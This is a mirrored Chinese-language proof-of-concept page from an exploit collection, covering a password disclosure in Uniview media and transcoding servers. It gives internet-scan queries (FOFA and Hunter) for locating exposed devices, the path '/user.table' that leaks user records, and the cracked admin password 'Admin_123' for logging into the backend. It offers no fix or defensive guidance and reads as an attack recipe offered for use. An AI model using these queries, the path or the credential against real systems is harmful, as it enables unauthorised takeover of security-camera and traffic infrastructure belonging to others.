mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 10:56:07 +00:00
34 lines
1.2 KiB
Markdown
34 lines
1.2 KiB
Markdown
|
# 浙江宇视媒体服务器-user-信息泄露漏洞
|
|||
|
|
|
|||
|
|
### 一、漏洞描述
|
|||
|
|
浙江宇视科技有限公司创立于2011年，是一家全球公共安全和智能交通的解决方案提供商。
|
|||
|
|
|
|||
|
|
浙江宇视科技有限公司转码服务器配置管理系统存在密码漏洞，攻击者可利用该漏洞登录后台。
|
|||
|
|
|
|||
|
|
### 二、影响版本
|
|||
|
|
宇视转码服务器
|
|||
|
|
|
|||
|
|
### 三、资产测绘
|
|||
|
|
fofa: body="images/a_fill_login_right_a.gif"
|
|||
|
|
|
|||
|
|
hunter: app.name=="Uniview 宇视媒体服务器"
|
|||
|
|
|
|||
|
|
界面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
### 四、漏洞复现
|
|||
|
|
```plain
|
|||
|
|
/user.table
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
使用MD5解密，密码为Admin_123
|
|||
|
|
|
|||
|
|
后台界面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-06-17 09:18:59
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fmgc1li99c5o7pm4>
|